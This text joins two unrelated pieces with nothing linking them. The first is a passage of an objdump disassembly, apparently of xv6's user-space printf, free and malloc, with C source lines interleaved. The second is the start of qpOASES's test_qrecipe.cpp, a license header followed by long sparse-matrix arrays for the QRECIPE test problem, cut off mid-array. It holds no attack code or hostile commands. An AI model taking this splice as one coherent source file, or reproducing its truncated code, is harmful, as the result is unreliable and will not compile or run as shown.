5e pop %esi 4bf: 5f pop %edi 4c0: 5d pop %ebp 4c1: c3 ret 4c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi state = '%'; 4c8: bf 25 00 00 00 mov $0x25,%edi 4cd: e9 66 ff ff ff jmp 438 <printf+0x48> 4d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 16, 0); 4d8: 83 ec 0c sub $0xc,%esp 4db: b9 10 00 00 00 mov $0x10,%ecx 4e0: 6a 00 push $0x0 4e2: 8b 7d d4 mov -0x2c(%ebp),%edi 4e5: 8b 45 08 mov 0x8(%ebp),%eax 4e8: 8b 17 mov (%edi),%edx 4ea: e8 61 fe ff ff call 350 <printint> ap++; 4ef: 89 f8 mov %edi,%eax 4f1: 83 c4 10 add $0x10,%esp state = 0; 4f4: 31 ff xor %edi,%edi ap++; 4f6: 83 c0 04 add $0x4,%eax 4f9: 89 45 d4 mov %eax,-0x2c(%ebp) 4fc: e9 37 ff ff ff jmp 438 <printf+0x48> 501: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; 508: 8b 45 d4 mov -0x2c(%ebp),%eax 50b: 8b 08 mov (%eax),%ecx ap++; 50d: 83 c0 04 add $0x4,%eax 510: 89 45 d4 mov %eax,-0x2c(%ebp) if(s == 0) 513: 85 c9 test %ecx,%ecx 515: 0f 84 8e 00 00 00 je 5a9 <printf+0x1b9> while(*s != 0){ 51b: 0f b6 01 movzbl (%ecx),%eax state = 0; 51e: 31 ff xor %edi,%edi s = (char*)*ap; 520: 89 cb mov %ecx,%ebx while(*s != 0){ 522: 84 c0 test %al,%al 524: 0f 84 0e ff ff ff je 438 <printf+0x48> 52a: 89 75 d0 mov %esi,-0x30(%ebp) 52d: 89 de mov %ebx,%esi 52f: 8b 5d 08 mov 0x8(%ebp),%ebx 532: 8d 7d e3 lea -0x1d(%ebp),%edi 535: 8d 76 00 lea 0x0(%esi),%esi write(fd, &c, 1); 538: 83 ec 04 sub $0x4,%esp s++; 53b: 83 c6 01 add $0x1,%esi 53e: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); 541: 6a 01 push $0x1 543: 57 push %edi 544: 53 push %ebx 545: e8 48 fd ff ff call 292 <write> while(*s != 0){ 54a: 0f b6 06 movzbl (%esi),%eax 54d: 83 c4 10 add $0x10,%esp 550: 84 c0 test %al,%al 552: 75 e4 jne 538 <printf+0x148> 554: 8b 75 d0 mov -0x30(%ebp),%esi state = 0; 557: 31 ff xor %edi,%edi 559: e9 da fe ff ff jmp 438 <printf+0x48> 55e: 66 90 xchg %ax,%ax printint(fd, *ap, 10, 1); 560: 83 ec 0c sub $0xc,%esp 563: b9 0a 00 00 00 mov $0xa,%ecx 568: 6a 01 push $0x1 56a: e9 73 ff ff ff jmp 4e2 <printf+0xf2> 56f: 90 nop write(fd, &c, 1); 570: 83 ec 04 sub $0x4,%esp 573: 88 5d e5 mov %bl,-0x1b(%ebp) 576: 8d 45 e5 lea -0x1b(%ebp),%eax 579: 6a 01 push $0x1 57b: e9 21 ff ff ff jmp 4a1 <printf+0xb1> putc(fd, *ap); 580: 8b 7d d4 mov -0x2c(%ebp),%edi write(fd, &c, 1); 583: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 586: 8b 07 mov (%edi),%eax write(fd, &c, 1); 588: 6a 01 push $0x1 ap++; 58a: 83 c7 04 add $0x4,%edi putc(fd, *ap); 58d: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); 590: 8d 45 e4 lea -0x1c(%ebp),%eax 593: 50 push %eax 594: ff 75 08 pushl 0x8(%ebp) 597: e8 f6 fc ff ff call 292 <write> ap++; 59c: 89 7d d4 mov %edi,-0x2c(%ebp) 59f: 83 c4 10 add $0x10,%esp state = 0; 5a2: 31 ff xor %edi,%edi 5a4: e9 8f fe ff ff jmp 438 <printf+0x48> s = "(null)"; 5a9: bb 48 07 00 00 mov $0x748,%ebx while(*s != 0){ 5ae: b8 28 00 00 00 mov $0x28,%eax 5b3: e9 72 ff ff ff jmp 52a <printf+0x13a> 5b8: 66 90 xchg %ax,%ax 5ba: 66 90 xchg %ax,%ax 5bc: 66 90 xchg %ax,%ax 5be: 66 90 xchg %ax,%ax 000005c0 <free>: static Header base; static Header *freep; void free(void *ap) { 5c0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5c1: a1 f4 09 00 00 mov 0x9f4,%eax { 5c6: 89 e5 mov %esp,%ebp 5c8: 57 push %edi 5c9: 56 push %esi 5ca: 53 push %ebx 5cb: 8b 5d 08 mov 0x8(%ebp),%ebx bp = (Header*)ap - 1; 5ce: 8d 4b f8 lea -0x8(%ebx),%ecx 5d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5d8: 39 c8 cmp %ecx,%eax 5da: 8b 10 mov (%eax),%edx 5dc: 73 32 jae 610 <free+0x50> 5de: 39 d1 cmp %edx,%ecx 5e0: 72 04 jb 5e6 <free+0x26> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5e2: 39 d0 cmp %edx,%eax 5e4: 72 32 jb 618 <free+0x58> break; if(bp + bp->s.size == p->s.ptr){ 5e6: 8b 73 fc mov -0x4(%ebx),%esi 5e9: 8d 3c f1 lea (%ecx,%esi,8),%edi 5ec: 39 fa cmp %edi,%edx 5ee: 74 30 je 620 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 5f0: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 5f3: 8b 50 04 mov 0x4(%eax),%edx 5f6: 8d 34 d0 lea (%eax,%edx,8),%esi 5f9: 39 f1 cmp %esi,%ecx 5fb: 74 3a je 637 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 5fd: 89 08 mov %ecx,(%eax) freep = p; 5ff: a3 f4 09 00 00 mov %eax,0x9f4 } 604: 5b pop %ebx 605: 5e pop %esi 606: 5f pop %edi 607: 5d pop %ebp 608: c3 ret 609: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 610: 39 d0 cmp %edx,%eax 612: 72 04 jb 618 <free+0x58> 614: 39 d1 cmp %edx,%ecx 616: 72 ce jb 5e6 <free+0x26> { 618: 89 d0 mov %edx,%eax 61a: eb bc jmp 5d8 <free+0x18> 61c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 620: 03 72 04 add 0x4(%edx),%esi 623: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 626: 8b 10 mov (%eax),%edx 628: 8b 12 mov (%edx),%edx 62a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 62d: 8b 50 04 mov 0x4(%eax),%edx 630: 8d 34 d0 lea (%eax,%edx,8),%esi 633: 39 f1 cmp %esi,%ecx 635: 75 c6 jne 5fd <free+0x3d> p->s.size += bp->s.size; 637: 03 53 fc add -0x4(%ebx),%edx freep = p; 63a: a3 f4 09 00 00 mov %eax,0x9f4 p->s.size += bp->s.size; 63f: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 642: 8b 53 f8 mov -0x8(%ebx),%edx 645: 89 10 mov %edx,(%eax) } 647: 5b pop %ebx 648: 5e pop %esi 649: 5f pop %edi 64a: 5d pop %ebp 64b: c3 ret 64c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000650 <malloc>: return freep; } void* malloc(uint nbytes) { 650: 55 push %ebp 651: 89 e5 mov %esp,%ebp 653: 57 push %edi 654: 56 push %esi 655: 53 push %ebx 656: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 659: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 65c: 8b 15 f4 09 00 00 mov 0x9f4,%edx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 662: 8d 78 07 lea 0x7(%eax),%edi 665: c1 ef 03 shr $0x3,%edi 668: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 66b: 85 d2 test %edx,%edx 66d: 0f 84 9d 00 00 00 je 710 <malloc+0xc0> 673: 8b 02 mov (%edx),%eax 675: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 678: 39 cf cmp %ecx,%edi 67a: 76 6c jbe 6e8 <malloc+0x98> 67c: 81 ff 00 10 00 00 cmp $0x1000,%edi 682: bb 00 10 00 00 mov $0x1000,%ebx 687: 0f 43 df cmovae %edi,%ebx p = sbrk(nu * sizeof(Header)); 68a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi 691: eb 0e jmp 6a1 <malloc+0x51> 693: 90 nop 694: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 698: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 69a: 8b 48 04 mov 0x4(%eax),%ecx 69d: 39 f9 cmp %edi,%ecx 69f: 73 47 jae 6e8 <malloc+0x98> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 6a1: 39 05 f4 09 00 00 cmp %eax,0x9f4 6a7: 89 c2 mov %eax,%edx 6a9: 75 ed jne 698 <malloc+0x48> p = sbrk(nu * sizeof(Header)); 6ab: 83 ec 0c sub $0xc,%esp 6ae: 56 push %esi 6af: e8 46 fc ff ff call 2fa <sbrk> if(p == (char*)-1) 6b4: 83 c4 10 add $0x10,%esp 6b7: 83 f8 ff cmp $0xffffffff,%eax 6ba: 74 1c je 6d8 <malloc+0x88> hp->s.size = nu; 6bc: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 6bf: 83 ec 0c sub $0xc,%esp 6c2: 83 c0 08 add $0x8,%eax 6c5: 50 push %eax 6c6: e8 f5 fe ff ff call 5c0 <free> return freep; 6cb: 8b 15 f4 09 00 00 mov 0x9f4,%edx if((p = morecore(nunits)) == 0) 6d1: 83 c4 10 add $0x10,%esp 6d4: 85 d2 test %edx,%edx 6d6: 75 c0 jne 698 <malloc+0x48> return 0; } } 6d8: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 6db: 31 c0 xor %eax,%eax } 6dd: 5b pop %ebx 6de: 5e pop %esi 6df: 5f pop %edi 6e0: 5d pop %ebp 6e1: c3 ret 6e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(p->s.size == nunits) 6e8: 39 cf cmp %ecx,%edi 6ea: 74 54 je 740 <malloc+0xf0> p->s.size -= nunits; 6ec: 29 f9 sub %edi,%ecx 6ee: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 6f1: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 6f4: 89 78 04 mov %edi,0x4(%eax) freep = prevp; 6f7: 89 15 f4 09 00 00 mov %edx,0x9f4 } 6fd: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 700: 83 c0 08 add $0x8,%eax } 703: 5b pop %ebx 704: 5e pop %esi 705: 5f pop %edi 706: 5d pop %ebp 707: c3 ret 708: 90 nop 709: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; 710: c7 05 f4 09 00 00 f8 movl $0x9f8,0x9f4 717: 09 00 00 71a: c7 05 f8 09 00 00 f8 movl $0x9f8,0x9f8 721: 09 00 00 base.s.size = 0; 724: b8 f8 09 00 00 mov $0x9f8,%eax 729: c7 05 fc 09 00 00 00 movl $0x0,0x9fc 730: 00 00 00 733: e9 44 ff ff ff jmp 67c <malloc+0x2c> 738: 90 nop 739: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi prevp->s.ptr = p->s.ptr; 740: 8b 08 mov (%eax),%ecx 742: 89 0a mov %ecx,(%edx) 744: eb b1 jmp 6f7 <malloc+0xa7>
/* * This file is part of qpOASES. * * qpOASES -- An Implementation of the Online Active Set Strategy. * Copyright (C) 2007-2017 by Hans Joachim Ferreau, Andreas Potschka, * Christian Kirches et al. All rights reserved. * * qpOASES is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * qpOASES is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with qpOASES; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * */ /** * \file testing/cpp/test_qrecipe.cpp * \author Andreas Potschka * \version 3.2 * \date 2007-2017 * * QRECIPE example from the CUTEr test set with sparse matrices. */ USING_NAMESPACE_QPOASES const real_t Inf = INFTY; sparse_int_t H_jc[] = { 0, 4, 8, 12, 16, 20, 20, 20, 20, 20, 20, 24, 28, 32, 36, 40, 40, 40, 40, 40, 40, 44, 48, 52, 56, 60, 60, 60, 60, 60, 60, 60, 60, 60, 60, 64, 68, 72, 76, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80 }; sparse_int_t H_ir[] = { 0, 10, 20, 34, 1, 11, 21, 35, 2, 12, 22, 36, 3, 13, 23, 37, 4, 14, 24, 38, 0, 10, 20, 34, 1, 11, 21, 35, 2, 12, 22, 36, 3, 13, 23, 37, 4, 14, 24, 38, 0, 10, 20, 34, 1, 11, 21, 35, 2, 12, 22, 36, 3, 13, 23, 37, 4, 14, 24, 38, 0, 10, 20, 34, 1, 11, 21, 35, 2, 12, 22, 36, 3, 13, 23, 37, 4, 14, 24, 38}; real_t H_val[] = {10, 1, 1, 1, 10, 1, 1, 1, 10, 1, 1, 1, 10, 1, 1, 1, 10, 1, 1, 1, 1, 10, 1, 1, 1, 10, 1, 1, 1, 10, 1, 1, 1, 10, 1, 1, 1, 10, 1, 1, 1, 1, 10, 1, 1, 1, 10, 1, 1, 1, 10, 1, 1, 1, 10, 1, 1, 1, 10, 1, 1, 1, 1, 10, 1, 1, 1, 10, 1, 1, 1, 10, 1, 1, 1, 10, 1, 1, 1, 10}; sparse_int_t A_jc[] = { 0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100, 110, 120, 130, 140, 150, 160, 170, 180, 190, 200, 210, 220, 230, 240, 250, 260, 270, 280, 290, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 331, 333, 335, 337, 339, 341, 343, 345, 347, 349, 351, 353, 355, 357, 359, 361, 363, 365, 367, 369, 371, 373, 383, 393, 403, 405, 408, 410, 413, 415, 418, 420, 422, 424, 426, 428, 430, 432, 434, 436, 438, 440, 442, 444, 446, 448, 450, 452, 454, 456, 458, 460, 462, 472, 482, 492, 494, 497, 499, 502, 504, 507, 509, 511, 513, 515, 517, 519, 521, 523, 525, 527, 529, 531, 533, 535, 537, 539, 541, 543, 545, 547, 549, 551, 561, 571, 581, 583, 586, 588, 591, 593, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 628, 638, 648, 650, 653, 655, 658, 660, 663}; sparse_int_t A_ir[] = {0, 14, 35, 36, 71, 72, 85, 86, 87, 88, 1, 14, 35, 36, 71, 72, 85, 86, 87, 88, 2, 14, 35, 36, 71, 72, 85, 86, 87, 88, 3, 14, 35, 36, 71, 72, 85, 86, 87, 88, 4, 14, 35, 36, 71, 72, 85, 86, 87, 88, 5, 14, 35, 36, 71, 72, 85, 86, 87, 88, 6, 14, 35, 36, 71, 72, 85, 86, 87, 88, 7, 14, 35, 36, 71, 72, 85, 86, 87, 88, 8, 14, 35, 36, 71, 72, 85, 86, 87, 88, 9, 14, 35, 36, 71, 72, 85, 86, 87, 88, 0, 15, 37, 38, 69, 70, 79, 80, 81, 82, 1, 15, 37, 38, 69, 70, 79, 80, 81, 82, 2, 15, 37, 38, 69, 70, 79, 80, 81, 82, 3, 15, 37, 38, 69, 70, 79, 80, 81, 82, 4, 15, 37, 38, 69, 70, 79, 80, 81, 82, 5, 15, 37, 38, 69, 70, 79, 80, 81, 82, 6, 15, 37, 38, 69, 70, 79, 80, 81, 82, 7, 15, 37, 38, 69, 70, 79, 80, 81, 82, 8, 15, 37, 38, 69, 70, 79, 80, 81, 82, 9, 15, 37, 38, 69, 70, 79, 80, 81, 82, 0, 16, 39, 40, 67, 68, 73, 74, 75, 76, 1, 16, 39, 40, 67, 68, 73, 74, 75, 76, 2, 16, 39, 40, 67, 68, 73, 74, 75, 76, 3, 16, 39, 40, 67, 68, 73, 74, 75, 76, 4, 16, 39, 40, 67, 68, 73, 74, 75, 76, 5, 16, 39, 40, 67, 68, 73, 74, 75, 76, 6, 16, 39, 40, 67, 68, 73, 74, 75, 76, 7, 16, 39, 40, 67, 68, 73, 74, 75, 76, 8, 16, 39, 40, 67, 68, 73, 74, 75, 76, 9, 16, 39, 40, 67, 68, 73, 74, 75, 76, 10, 11, 12, 13, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 47, 58, 48, 59, 49, 60, 50, 61, 51, 62, 52, 63, 53, 64, 54, 65, 55, 66, 46, 56, 45, 57, 47, 58, 48, 59, 49, 60, 50, 61, 51, 62, 52, 63, 53, 64, 54, 65, 55, 66, 46, 56, 45, 57, 10, 14, 71, 72, 85, 86, 87, 88, 89, 90, 11, 15, 69, 70, 79, 80, 81, 82, 83, 84, 12, 16, 67, 68, 73, 74, 75, 76, 77, 78, 35, 90, 36, 89, 90, 37, 84, 38, 83, 84, 39, 78, 40, 77, 78, 44, 58, 43, 59, 42, 60, 41, 61, 34, 62, 33, 63, 32, 64, 31, 65, 30, 66, 29, 46, 28, 45, 44, 58, 43, 59, 42, 60, 41, 61, 34, 62, 33, 63, 32, 64, 31, 65, 30, 66, 29, 46, 28, 45, 10, 14, 71, 72, 85, 86, 87, 88, 89, 90, 11, 15, 69, 70, 79, 80, 81, 82, 83, 84, 12, 16, 67, 68, 73, 74, 75, 76, 77, 78, 35, 90, 36, 89, 90, 37, 84, 38, 83, 84, 39, 78, 40, 77, 78, 27, 44, 26, 43, 25, 42, 24, 41, 23, 34, 22, 33, 21, 32, 20, 31, 19, 30, 18, 29, 17, 28, 27, 44, 26, 43, 25, 42, 24, 41, 23, 34, 22, 33, 21, 32, 20, 31, 19, 30, 18, 29, 17, 28, 10, 14, 71, 72, 85, 86, 87, 88, 89, 90, 11, 15, 69, 70, 79, 80, 81, 82, 83, 84, 12, 16, 67, 68, 73, 74, 75, 76, 77, 78, 35, 90, 36, 89, 90, 37, 84, 38, 83, 84, 39, 78, 40, 77, 78, 27, 26, 25, 24, 23, 22, 21, 20, 19, 18, 17, 27, 26, 25, 24, 23, 22, 21, 20, 19, 18, 17, 10, 14, 71, 72, 85, 86, 87, 88, 89, 90, 11, 15, 69, 70, 79, 80, 81, 82, 83, 84, 12, 16, 67, 68, 73, 74, 75, 76, 77, 78, 35, 90, 36, 89, 90, 37, 84, 38, 83, 84, 39, 78, 40, 77, 78}; real_t A_val[] = { -1.0000000000000000e+00, 1.0000000000000000e+00, 8.8678200000000004e+01, 9.3617050000000006e+01, 1.6000000000000000e+01, 8.1999999999999993e+00, 9.9000000000000000e+01, 8.0000000000000000e+01, 1.2000000000000000e+01, 9.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, 8.0062830000000005e+01, 9.9224010000000007e+01, 1.0000000000000000e+02, 2.1100000000000001e+01, 1.0000000000000000e+02, 1.0000000000000000e+02, 1.1400000000000000e+02, 1.1680000000000000e+02, -1.0000000000000000e+00, 1.0000000000000000e+00, 7.4697360000000003e+01, 8.3801220000000001e+01, -8.1999999999999993e+00, 2.0000000000000000e+00, 9.0000000000000000e+01, 2.3999999999999999e+00, -1.2000000000000000e+01, -1.4800000000000001e+01, -1.0000000000000000e+00, 1.0000000000000000e+00, 7.9194209999999998e+01, 9.0175110000000004e+01, 4.3000000000000000e+01, 8.0000000000000000e+00, 1.0000000000000000e+02, 9.5000000000000000e+01, 9.0000000000000000e+00, 2.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, 7.8568219999999997e+01, 8.5996200000000002e+01, -1.2500000000000000e+01, 1.0000000000000000e+00, 9.6500000000000000e+01, 4.0000000000000000e+00, -1.8000000000000000e+01, -2.1899999999999999e+01, -1.0000000000000000e+00, 1.0000000000000000e+00, 8.2922240000000002e+01, 8.6963380000000001e+01, 6.5000000000000000e+01, 1.2500000000000000e+01, 1.0000000000000000e+02, 9.8000000000000000e+01, 4.9000000000000000e+01, 3.7000000000000000e+01, -1.0000000000000000e+00, 1.0000000000000000e+00, 8.2592740000000006e+01, 9.3147599999999997e+01, -1.2000000000000000e+01, 1.0000000000000000e+00, 9.6500000000000000e+01, 4.0000000000000000e+00, -1.8000000000000000e+01, -2.1899999999999999e+01, -1.0000000000000000e+00, 1.0000000000000000e+00, 7.6506460000000004e+01, 7.8210250000000002e+01, 7.9000000000000000e+01, 1.2000000000000000e+01, 1.0000000000000000e+02, 9.5000000000000000e+01, 6.8000000000000000e+01, 6.1000000000000000e+01, -1.0000000000000000e+00, 1.0000000000000000e+00, 8.8357460000000003e+01, 9.4257840000000002e+01, 1.2500000000000000e+02, 6.1299999999999997e+01, 1.0000000000000000e+02, 1.0000000000000000e+02, 1.4500000000000000e+02, 1.4500000000000000e+02, -1.0000000000000000e+00, 1.0000000000000000e+00, 9.0590469999999996e+01, 1.0582863000000000e+02, 6.2000000000000002e+00, 6.0000000000000000e+00, 9.7000000000000000e+01, 2.8500000000000000e+01, 4.0000000000000000e+00, 3.6000000000000001e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, 8.8678200000000004e+01, 9.3617050000000006e+01, 1.6000000000000000e+01, 8.1999999999999993e+00, 9.9000000000000000e+01, 8.0000000000000000e+01, 1.2000000000000000e+01, 9.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, 8.0062830000000005e+01, 9.9224010000000007e+01, 1.0000000000000000e+02, 2.1100000000000001e+01, 1.0000000000000000e+02, 1.0000000000000000e+02, 1.1400000000000000e+02, 1.1680000000000000e+02, -1.0000000000000000e+00, 1.0000000000000000e+00, 7.4697360000000003e+01, 8.3801220000000001e+01, -8.1999999999999993e+00, 2.0000000000000000e+00, 9.0000000000000000e+01, 2.3999999999999999e+00, -1.2000000000000000e+01, -1.4800000000000001e+01, -1.0000000000000000e+00, 1.0000000000000000e+00, 7.9194209999999998e+01, 9.0175110000000004e+01, 4.3000000000000000e+01, 8.0000000000000000e+00, 1.0000000000000000e+02, 9.5000000000000000e+01, 9.0000000000000000e+00, 2.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, 7.8568219999999997e+01, 8.5996200000000002e+01, -1.2500000000000000e+01, 1.0000000000000000e+00, 9.6500000000000000e+01, 4.0000000000000000e+00, -1.8000000000000000e+01, -2.1899999999999999e+01, -1.0000000000000000e+00, 1.0000000000000000e+00, 8.2922240000000002e+01, 8.6963380000000001e+01, 6.5000000000000000e+01, 1.2500000000000000e+01, 1.0000000000000000e+02, 9.8000000000000000e+01, 4.9000000000000000e+01, 3.7000000000000000e+01, -1.0000000000000000e+00, 1.0000000000000000e+00, 8.2592740000000006e+01, 9.3147599999999997e+01, -1.2000000000000000e+01, 1.0000000000000000e+00, 9.6500000000000000e+01, 4.0000000000000000e+00, -1.8000000000000000e+01, -2.1899999999999999e+01, -1.0000000000000000e+00, 1.0000000000000000e+00, 7.6506460000000004e+01, 7.8210250000000002e+01, 7.9000000000000000e+01, 1.2000000000000000e+01, 1.0000000000000000e+02, 9.5000000000000000e+01, 6.8000000000000000e+01, 6.1000000000000000e+01, -1.0000000000000000e+00, 1.0000000000000000e+00, 8.8357460000000003e+01, 9.4257840000000002e+01, 1.2500000000000000e+02, 6.1299999999999997e+01, 1.0000000000000000e+02, 1.0000000000000000e+02, 1.4500000000000000e+02, 1.4500000000000000e+02, -1.0000000000000000e+00, 1.0000000000000000e+00, 9.0590469999999996e+01, 1.0582863000000000e+02, 6.2000000000000002e+00, 6.0000000000000000e+00, 9.7000000000000000e+01, 2.8500000000000000e+01, 4.0000000000000000e+00, 3.6000000000000001e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, 8.8678200000000004e+01, 9.3617050000000006e+01, 1.6000000000000000e+01, 8.1999999999999993e+00, 9.9000000000000000e+01, 8.0000000000000000e+01, 1.2000000000000000e+01, 9.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, 8.0062830000000005e+01, 9.9224010000000007e+01, 1.0000000000000000e+02, 2.1100000000000001e+01, 1.0000000000000000e+02, 1.0000000000000000e+02, 1.1400000000000000e+02, 1.1680000000000000e+02, -1.0000000000000000e+00, 1.0000000000000000e+00, 7.4697360000000003e+01, 8.3801220000000001e+01, -8.1999999999999993e+00, 2.0000000000000000e+00, 9.0000000000000000e+01, 2.3999999999999999e+00, -1.2000000000000000e+01, -1.4800000000000001e+01, -1.0000000000000000e+00, 1.0000000000000000e+00, 7.9194209999999998e+01, 9.0175110000000004e+01, 4.3000000000000000e+01, 8.0000000000000000e+00, 1.0000000000000000e+02, 9.5000000000000000e+01, 9.0000000000000000e+00, 2.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, 7.8568219999999997e+01, 8.5996200000000002e+01, -1.2500000000000000e+01, 1.0000000000000000e+00, 9.6500000000000000e+01, 4.0000000000000000e+00, -1.8000000000000000e+01, -2.1899999999999999e+01, -1.0000000000000000e+00, 1.0000000000000000e+00, 8.2922240000000002e+01, 8.6963380000000001e+01, 6.5000000000000000e+01, 1.2500000000000000e+01, 1.0000000000000000e+02, 9.8000000000000000e+01, 4.9000000000000000e+01, 3.7000000000000000e+01, -1.0000000000000000e+00, 1.0000000000000000e+00, 8.2592740000000006e+01, 9.3147599999999997e+01, -1.2000000000000000e+01, 1.0000000000000000e+00, 9.6500000000000000e+01, 4.0000000000000000e+00, -1.8000000000000000e+01, -2.1899999999999999e+01, -1.0000000000000000e+00, 1.0000000000000000e+00, 7.6506460000000004e+01, 7.8210250000000002e+01, 7.9000000000000000e+01, 1.2000000000000000e+01, 1.0000000000000000e+02, 9.5000000000000000e+01, 6.8000000000000000e+01, 6.1000000000000000e+01, -1.0000000000000000e+00, 1.0000000000000000e+00, 8.8357460000000003e+01, 9.4257840000000002e+01, 1.2500000000000000e+02, 6.1299999999999997e+01, 1.0000000000000000e+02, 1.0000000000000000e+02, 1.4500000000000000e+02, 1.4500000000000000e+02, -1.0000000000000000e+00, 1.0000000000000000e+00, 9.0590469999999996e+01, 1.0582863000000000e+02, 6.2000000000000002e+00, 6.0000000000000000e+00, 9.7000000000000000e+01, 2.8500000000000000e+01, 4.0000000000000000e+00, 3.6000000000000001e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, -1.2000000000000000e-01, -3.8000000000000000e-01, -5.0000000000000000e-01, 1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, 